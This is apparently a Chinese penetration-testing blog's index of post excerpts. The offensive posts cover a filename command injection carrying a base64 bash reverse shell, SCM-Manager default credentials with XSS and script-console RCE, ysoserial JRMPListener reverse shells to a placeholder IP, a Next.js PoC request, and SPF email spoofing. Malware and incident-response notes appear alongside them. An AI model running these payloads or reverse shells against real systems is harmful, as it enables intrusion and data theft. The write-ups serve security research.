lan1ocのblog

复现随便找个pdf文件，然后文件名是反引号包裹的命令，然后点击就送，尝试过麒麟和鸿蒙系统，全通杀 反弹shell命名限制换linux系统用mv命令绕过了 1mv 1.pdf '`echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvODg4OCAwPiYx" | base64 -d | bash`.pdf' 这是弹本地的命令

前文shiro反序列化失败，然后没思路，就想着不死磕shiro了，从别的思路先来 弱口令是个scm-manager系统，经典弱口令：scmadmin:scmadmin 存储型xsshttp://ip/scm/#repositoryPanel 1<img src=x onerror=console.log(123)> 水报告，想着多弄一个，添加代码库那边测的 后台rce脚本控制台直接一把梭了 123456789101112131415161718POST /scm/api/rest/plugins/script HTTP/1.1Host: X-Requested-With: XMLHttpRequestAccept: */*Referer: /scm/index.htmlCookie: JSESSIONID=49yf5siplceo124fte79hvufjX-SCM-Client: WUIContent-Type: application/x-groovyAccept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0...

验证一把梭没梭出来，默认key，但是无链然后用shiro_tool测试有没有别的利用方式然后用urldns验证了下，有出网请求 利用失败(JRMPClient)踩坑尝试反弹shell 1java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 6789 CommonsCollections5 "bash -i >& /dev/tcp/x.x.x.x/404 0>&1" 没弹回来base64编码一下命令 1java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 6789 CommonsCollections5 "bash -c {echo,xxx}|{base64,-d}|{bash,-i}" 还是没弹啊，换利用链试试，没想到别的方法，就一个个手打测试，终于有了 1java -cp ysoserial-all.jar...

...

取样是个ddos安全事件的涉事后门程序在一个docker镜像里面，先取出来 1sudo docker cp 714c4f043f67:/tmp/4311 ./4311 然后打包 1zip 4311.zip 4311 mcp分析直接拷打然后分析的感觉还行，基本信息都出来了，是什么功能，怎么个机制大致都分析了，接着就是针对性拷打就行 基本信息文件类型: Linux ELF可执行文件 (32位)基地址: 0x8048000文件大小: 1,219,219字节编译语言: C++ (GCC)MD5: 114ef2b9010f62696a49cfb6e1aa9e6e0 SHA256: 170a7c6a15661cafb739e3acaf6b1cc2a1cf85d4881c173c418cc1c804597835b 威胁等级: 高危 恶意行为分析1. 多功能恶意软件这是一个高度复杂的多功能恶意软件，具有以下主要功能：DDoS攻击工具: 支持多种攻击类型后门程序: 提供远程控制能力监控程序: 系统监控和数据收集系统工具: 系统级操作和配置 2. 支持的攻击类型网络层攻击:TCP攻击...

安装1pip install https://github.com/mrexodia/ida-pro-mcp/archive/refs/heads/main.zip 1ida-pro-mcp --install 安装完然后电脑重启下，重启很关键，非常之关键trae有点问题，不知道为什么还是要我手动配置一下，明明文件存在

现场取证定位主机对方有奇安信的设备，直接按照外联ip查到了涉事主机 主机排查，根据威胁情报比对然后查看那个主机进程 1top cpu拉满了，包是挖矿病毒了根据威胁情报显示，只有一个样本，4311文件也找到了该进程接着就是定位文件了 1lsof -c 4311 但是有报错，显示的信息都是docker相关的，然后查看了一下docker容器的资源使用情况 1docker stats 那有问题的就是这个了，停掉该容器之后，cpu占用就下来了，并且也没有4311在运行了，接着就是打包成镜像取证了 导出镜像取证1docker commit dify-web-1 dify-web:20251219 1docker save -o dify-web.tar dify-web:20251219 镜像分析静态分析只读启动镜像先加载镜像 1docker load -i dify-web-backup.tar 然后启动 123456sudo docker run --rm -it \ --read-only \ --network none \ --entrypoint /bin/sh \ ...

影响范围 React: 19.0.0, 19.1.0, 19.1.1, 19.2.0 Next.js: 15.x, 16.x (App Router) hunter指纹1(web.body="react.production.min.js"||web.body="React.createElement"||app="React.js"||app="Dify") poc12345678910111213141516171819202122POST / HTTP/1.1Host: admin.chaini.topUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0Next-Action: xX-Nextjs-Request-Id:...

工具地址简介一个用于测试域名SPF（Sender Policy Framework）配置的安全工具，可以帮助检测邮件系统的安全漏洞。 📋 功能特性 ✅ 单个域名测试 - 快速测试单个域名的SPF配置 ✅ 批量域名测试 - 从文件批量导入测试多个域名 ✅ SPF记录检查 - 自动检测并分析SPF记录配置 ✅ 策略强度分析 - 评估SPF策略的安全级别 ✅ 智能域名提取 - 支持从URL、邮箱等多种格式自动提取域名 ✅ 二级域名识别 - 正确识别 .com.cn、.co.uk 等二级域名后缀 ✅ 交互式操作 - 友好的命令行交互界面 ✅ 命令行模式 - 支持脚本自动化调用 ✅ 域名去重 - 自动去除重复域名 效果然后邮箱接收到伪造发送的邮件

复现默认硬编码的SIGN...